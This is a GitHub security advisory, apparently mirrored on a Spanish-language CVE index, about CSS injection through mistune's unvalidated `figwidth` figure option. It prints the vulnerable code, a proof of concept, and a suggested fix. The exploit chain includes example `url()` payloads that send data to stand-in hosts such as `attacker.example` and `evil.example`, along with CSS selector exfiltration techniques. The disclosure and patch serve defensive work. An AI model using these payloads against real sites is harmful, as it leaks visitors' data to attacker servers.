GHSA-XMWC-WJPR-Q378
directives/image (Figure): `figwidth` option flows unvalidated into the `<figure style="width:...">` attribute, allowing CSS injection and data exfiltration via `url()`
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XMWC-WJPR-Q378 divulgada · CVSS 4.3 (GitHub) | |
| Remediación | Parche 3.3.0 | mistune · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Type: CSS injection. The `figwidth` option on the `.. figure::` directive is supposed to be a length value (e.g., `300px`, `50%`), but it is taken as a raw string and concatenated directly into the `style="width:..."` attribute of the rendered `<figure>` tag. The Image directive validates `width` and `height` against a strict length regex; the Figure directive's `figwidth` is not validated.
File: `src/mistune/directives/image.py`, line 167.
Root cause: `Figure.parse` reads `figwidth` from the directive options at line 128 and stores it verbatim. `render_figure` at line 167 emits `' style="width:' + escape_text(figwidth) + '"'`. `escape_text` only HTML-entity-escapes `&<>'"`; it does not block the CSS-meaningful characters `;`, `(`, `)`, `:`, `/`. An attacker who can write a markdown figure directive can inject arbitrary additional CSS declarations into the `style` attribute of every figure they create. The most useful injection is `url()` data exfiltration: `figwidth: 100;background:url(//attacker.example/log?cookie=)` causes the rendering browser to issue a request to `attacker.example` containing whatever the attacker chose to encode into the URL when the page loads.
Affected Code
File: `src/mistune/directives/image.py`, lines 118-168.
class Figure(DirectivePlugin):
NAME = "figure"
def parse(self, block, m, state):
options = dict(self.parse_options(m))
# ...
for k in ["figwidth", "figclass"]:
if k in options:
fig_attrs[k] = options[k] # <-- BUG: figwidth stored unvalidated
# ...
# ----
def render_figure(self, text, align=None, figwidth=None, figclass=None):
_cls = "figure"
# ...
html = '<figure class="' + _cls + '"'
if figwidth:
html += ' style="width:' + escape_text(figwidth) + '"' # <-- BUG: raw figwidth in style attribute
return html + ">\n" + text + "</figure>\n"For comparison, the same module validates `width` and `height` for Image directives at line 16-35:
_num_re = re.compile(r"^\d+(?:\.\d*)?(?:px|ch|em|rem|ex|rex|vw|vh|%)?$")
def _parse_attrs(options):
# ...
if width and _num_re.match(width): # <-- validation: only length values pass
attrs["width"] = width
if height and _num_re.match(height):
attrs["height"] = heightThe `_num_re` validator is exactly the right shape for `figwidth` too, but is not applied to it.
Why it's wrong: the author identified that style/dimension values must be validated and built `_num_re` for that purpose. The validator was applied to `width` and `height` (Image directive) but not to `figwidth` (Figure directive). The asymmetry is the bug.
Exploit Chain
- Application uses mistune with the directives plugin enabled (`RSTDirective([Figure()])` or any superset). This is documented and used by Sphinx-style doc renderers, MkDocs integrations with mistune, knowledge-base platforms that render RST-flavoured markdown.
- Attacker submits a markdown document containing:
caption
```
The `:figwidth:` value contains a complete CSS declaration after the legitimate `100`. `100;background:url(//attacker.example/exfil?d=ENCODED)` is concatenated into the style attribute.
3. mistune renders the figure as:
```html
<figure class="figure" style="width:100;background:url(//attacker.example/exfil?d=ENCODED)">
<div class="block-image"><img src="harmless.png" /></div>
<figcaption>caption</figcaption>
</figure>
```
4. Victim's browser parses the `style` attribute, applies the CSS, and issues an HTTP request to `attacker.example/exfil?d=ENCODED` to fetch the background image. The attacker's server logs the request, including any data the attacker encoded into the URL.
5. Final state: the attacker has caused the victim's browser to send a request to attacker-controlled origin every time the page renders. With CSS-conditional selectors (e.g., `[data-csrf="X"] { background:url(...X) }`) injected via the same primitive in a more targeted document, attribute-value exfiltration becomes possible. Other CSS injection sinks include `cursor:url(...)`, `list-style-image:url(...)`, `mask:url(...)`, `border-image:url(...)`, all of which trigger network fetches.
Security Impact
Severity: sec-moderate. CSS injection is a weaker primitive than full XSS — it cannot directly run JavaScript in the page's origin — but it does allow data exfiltration via `url()` fetches, layout/visibility tampering (hide error messages, fake UI states, override warnings), and conditional probes that leak attribute values to attacker-controlled servers. Many web-app threat models treat CSS injection as Medium-severity.
Attacker capability: inject arbitrary CSS declarations into the `style` attribute of any rendered `<figure>`. From there: data exfiltration via background `url()`, layout tampering (`display:none`, `visibility:hidden`, `position:fixed; left:0; right:0; ...`), and the standard CSS-injection downstream techniques. Combined with attribute-value exfil selectors (`[name^="X"]`), CSS injection can read DOM attribute prefixes one character at a time.
Preconditions: application uses mistune with the directives plugin enabled and the `Figure` directive registered. Attacker controls the markdown input.
Differential: PoC-verified against mistune@3.2.1 with the `Figure` directive enabled:
import mistune
from mistune.directives import RSTDirective, Figure
md = mistune.create_markdown(plugins=[RSTDirective([Figure()])])
print(md("""
.. figure:: cat.png
:figwidth: 100;background:url(//evil.example/exfil)
Caption
"""))
# Output:
# <figure class="figure" style="width:100;background:url(//evil.example/exfil)">
# <div class="block-image"><img src="cat.png" /></div>
# <figcaption>Caption</figcaption>
# </figure>The Image directive's `width` field is correctly rejected with the same payload (returns no width attribute), confirming the `_num_re` validator works — it is just not applied to `figwidth`. The patched build (with the suggested fix below) treats malformed `figwidth` like an invalid length and omits the style attribute.
Suggested Fix
Apply the existing `_num_re` validator to `figwidth` and to any other future style-bound option:
--- a/src/mistune/directives/image.py
+++ b/src/mistune/directives/image.py
@@ -125,9 +125,12 @@ class Figure(DirectivePlugin):
align = image_attrs.pop("align", None)
fig_attrs = {}
if align:
fig_attrs["align"] = align
- for k in ["figwidth", "figclass"]:
- if k in options:
- fig_attrs[k] = options[k]
+ if "figwidth" in options and _num_re.match(options["figwidth"]):
+ fig_attrs["figwidth"] = options["figwidth"]
+ if "figclass" in options:
+ fig_attrs["figclass"] = options["figclass"]This brings `figwidth` validation in line with `width`/`height`. The `figclass` option still flows through `escape_text` and stays inside the class attribute — that path doesn't allow CSS injection (HTML-entity escape blocks attribute breakout) but is worth treating with the same allowlist of class-name characters in a follow-up. Add a regression test asserting that `figwidth: 100;background:url(...)` produces a `<figure>` without a `style` attribute, and that valid lengths like `200px` still work.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypimistune |
Corregida | 3.3.0 | 0 d | 3.4.0 no afectada |
3.3.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/lepture/mistune/security/advisories/GHSA-xmwc-wjpr-q378Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
